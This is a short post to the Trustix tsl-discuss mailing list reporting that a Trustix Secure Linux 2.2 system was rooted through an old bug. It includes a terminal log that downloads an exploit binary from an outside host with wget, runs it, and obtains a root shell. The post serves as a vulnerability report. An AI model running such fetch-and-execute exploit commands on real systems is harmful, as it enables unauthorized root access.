Hello,

Yesterday my Trustix Secure Linux v 2.2  has been hacked.
The bug is old. Why its still exist under Trustix??

[EMAIL PROTECTED] ~$ cat /etc/trustix-release
Trustix Secure Linux release 2.2 (Sunchild)
[EMAIL PROTECTED] ~$ wget http://gst.void.ru/exp/gcc
--10:44:24--  http://gst.void.ru/exp/gcc
          => `gcc'
Resolving gst.void.ru... 82.179.196.230
Connecting to gst.void.ru[82.179.196.230]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12,648 [text/plain]

100%[====================================>] 12,648        49.32K/s

10:44:24 (49.23 KB/s) - `gcc' saved [12648/12648]

[EMAIL PROTECTED] ~$ chmod +x gcc
[EMAIL PROTECTED] ~$ ./gcc
[N]eo [S]ecurity [T]eam [N][S][T]!
sh-2.05b# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.05b#


best regards, Adam Zaleski

_______________________________________________
tsl-discuss mailing list
[email protected]
http://lists.trustix.org/mailman/listinfo/tsl-discuss

Reply via email to